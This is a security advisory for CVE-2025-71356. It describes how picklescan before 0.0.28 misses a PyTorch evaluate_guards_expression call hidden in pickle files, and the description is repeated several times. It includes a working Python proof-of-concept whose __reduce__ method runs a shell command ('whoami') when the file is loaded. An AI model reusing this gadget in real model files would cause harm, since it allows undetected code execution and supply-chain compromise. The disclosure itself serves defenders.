CVE-2025-71356

picklescan before 0.0.28 fails to detect malicious torch.fx.experimental.symbolic_shapes.ShapeEnv.evaluate_guards_expression function calls in pickle files. Attackers can embed undetected code in pickle files that executes remote code when loaded by victims.

picklescan before 0.0.28 fails to detect malicious torch.fx.experimental.symbolic_shapes.ShapeEnv.evaluate_guards_expression function calls in pickle files. Attackers can embed undetected code in pickle files that executes remote code when loaded by victims.

picklescan before 0.0.28 fails to detect malicious torch.fx.experimental.symbolic_shapes.ShapeEnv.evaluate_guards_expression function calls in pickle files. Attackers can embed undetected code in pickle files that executes remote code when loaded by victims.

Summary

Using torch.fx.experimental.symbolic_shapes.ShapeEnv.evaluate_guards_expression function, which is a pytorch library function to execute remote pickle file.

Details

The attack payload executes in the following steps:

First, the attacker craft the payload by calling to torch.fx.experimental.symbolic_shapes.ShapeEnv.evaluate_guards_expression function in reduce method Then when the victim after checking whether the pickle file is safe by using Picklescan library and this library doesn't dectect any dangerous functions, decide to pickle.load() this malicious pickle file, thus lead to remote code execution.

PoC

import types
import torch.fx.experimental.symbolic_shapes as symbolic_shapes

class EvilTorchFxSymbolicShapesEvaluateGuardsExpression:
    def __reduce__(self):
        fake_self = str
        code = "__import__('os').system('whoami')"
        args = []
        return symbolic_shapes.ShapeEnv.evaluate_guards_expression, (fake_self, code, args)

Impact

Who is impacted? Any organization or individual relying on picklescan to detect malicious pickle files inside PyTorch models. What is the impact? Attackers can embed malicious code in pickle file that remains undetected but executes when the pickle file is loaded. Supply Chain Attack: Attackers can distribute infected pickle files across ML models, APIs, or saved Python objects.

Corresponding

https://github.com/FredericDT https://github.com/Qhaoduoyu

picklescan before 0.0.28 fails to detect malicious torch.fx.experimental.symbolic_shapes.ShapeEnv.evaluate_guards_expression function calls in pickle files. Attackers can embed undetected code in pickle files that executes remote code when loaded by victims.

picklescan before 0.0.28 fails to detect malicious torch.fx.experimental.symbolic_shapes.ShapeEnv.evaluate_guards_expression function calls in pickle files. Attackers can embed undetected code in pickle files that executes remote code when loaded by victims.

Summary

Using torch.fx.experimental.symbolic_shapes.ShapeEnv.evaluate_guards_expression function, which is a pytorch library function to execute remote pickle file.

Details

The attack payload executes in the following steps:

First, the attacker craft the payload by calling to torch.fx.experimental.symbolic_shapes.ShapeEnv.evaluate_guards_expression function in reduce method Then when the victim after checking whether the pickle file is safe by using Picklescan library and this library doesn't dectect any dangerous functions, decide to pickle.load() this malicious pickle file, thus lead to remote code execution.

PoC

import types
import torch.fx.experimental.symbolic_shapes as symbolic_shapes

class EvilTorchFxSymbolicShapesEvaluateGuardsExpression:
    def __reduce__(self):
        fake_self = str
        code = "__import__('os').system('whoami')"
        args = []
        return symbolic_shapes.ShapeEnv.evaluate_guards_expression, (fake_self, code, args)

Impact

Who is impacted? Any organization or individual relying on picklescan to detect malicious pickle files inside PyTorch models. What is the impact? Attackers can embed malicious code in pickle file that remains undetected but executes when the pickle file is loaded. Supply Chain Attack: Attackers can distribute infected pickle files across ML models, APIs, or saved Python objects.

Corresponding

https://github.com/FredericDT https://github.com/Qhaoduoyu